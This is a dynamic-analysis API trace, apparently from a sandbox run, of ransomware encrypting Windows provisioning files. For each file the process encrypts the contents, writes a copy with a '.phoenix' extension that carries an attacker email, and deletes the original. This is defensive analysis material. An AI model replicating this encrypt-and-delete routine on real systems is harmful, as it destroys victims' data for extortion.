	[0228.357] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0228.357] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2229) returned 1
	[0228.357] CloseHandle (hObject=0x2d4) returned 1
	[0228.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml")) returned 0x20
	[0228.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.357] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0228.357] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.358] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.358] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0228.376] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0228.376] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.376] ReadFile (in: hFile=0x2d4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x8b5, lpOverlapped=0x0) returned 1
	[0228.426] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x8c0) returned 1
	[0228.426] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x8c0, lpOverlapped=0x0) returned 1
	[0228.427] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1514c0) returned 1
	[0228.427] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.427] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0228.427] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0228.427] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0228.427] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0228.427] CloseHandle (hObject=0x2d4) returned 1
	[0228.427] CloseHandle (hObject=0x2e8) returned 1
	[0228.428] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml")) returned 1
	[0228.429] SetEvent (hEvent=0x298) returned 1
	[0228.429] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0228.429] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0228.430] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=460) returned 1
	[0228.430] CloseHandle (hObject=0x2e8) returned 1
	[0228.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml")) returned 0x20
	[0228.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.430] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0228.430] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.430] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.430] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0228.430] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151080) returned 1
	[0228.430] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.430] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1cc, lpOverlapped=0x0) returned 1
	[0228.431] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0) returned 1
	[0228.431] WriteFile (in: hFile=0x2d4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1d0, lpOverlapped=0x0) returned 1
	[0228.432] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0228.432] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.432] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0228.432] CryptDestroyKey (hKey=0x151380) returned 1
	[0228.432] WriteFile (in: hFile=0x2d4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0228.434] CryptDestroyKey (hKey=0x151080) returned 1
	[0228.434] CloseHandle (hObject=0x2e8) returned 1
	[0228.434] CloseHandle (hObject=0x2d4) returned 1
	[0228.435] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml")) returned 1
	[0228.436] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0228.436] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0228.437] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1659) returned 1
	[0228.437] CloseHandle (hObject=0x2d4) returned 1
	[0228.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml")) returned 0x20
	[0228.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.438] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0228.438] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.438] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.438] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0228.449] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0228.449] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.449] ReadFile (in: hFile=0x2d4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x67b, lpOverlapped=0x0) returned 1
	[0228.551] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x680, dwBufLen=0x680 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x680) returned 1
	[0228.551] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x680, lpOverlapped=0x0) returned 1
	[0228.552] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151500) returned 1
	[0228.552] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.552] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0228.552] CryptDestroyKey (hKey=0x151500) returned 1
	[0228.552] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0228.552] CryptDestroyKey (hKey=0x151380) returned 1
	[0228.552] CloseHandle (hObject=0x2d4) returned 1
	[0228.553] CloseHandle (hObject=0x2c8) returned 1
	[0228.553] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml")) returned 1
	[0228.554] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0228.554] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0228.555] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=271) returned 1
	[0228.555] CloseHandle (hObject=0x2c8) returned 1
	[0228.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml")) returned 0x20
	[0228.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.555] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0228.555] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.555] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.555] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0228.556] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151400) returned 1
	[0228.556] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.556] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x10f, lpOverlapped=0x0) returned 1
	[0228.557] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0228.557] WriteFile (in: hFile=0x2d4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0228.558] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151100) returned 1
	[0228.558] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.558] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0228.558] CryptDestroyKey (hKey=0x151100) returned 1
	[0228.558] WriteFile (in: hFile=0x2d4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0228.576] CryptDestroyKey (hKey=0x151400) returned 1
	[0228.576] CloseHandle (hObject=0x2c8) returned 1
	[0228.576] CloseHandle (hObject=0x2d4) returned 1
	[0228.580] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml")) returned 1
	[0228.581] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0228.581] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0228.582] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=311059) returned 1
	[0228.582] CloseHandle (hObject=0x2d4) returned 1
	[0228.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml")) returned 0x20
	[0228.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.582] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0228.582] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.582] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.582] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0228.583] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0228.583] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.583] ReadFile (in: hFile=0x2d4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x4bf13, lpOverlapped=0x0) returned 1
	[0228.630] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4bf20, dwBufLen=0x4bf20 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4bf20) returned 1
	[0228.631] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x4bf20, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x4bf20, lpOverlapped=0x0) returned 1
	[0228.637] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1511c0) returned 1
	[0228.637] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.637] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0228.637] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0228.637] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0228.637] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0228.637] CloseHandle (hObject=0x2d4) returned 1
	[0228.637] CloseHandle (hObject=0x2c8) returned 1
	[0228.644] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml")) returned 1
	[0228.893] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0228.893] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.894] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1842) returned 1
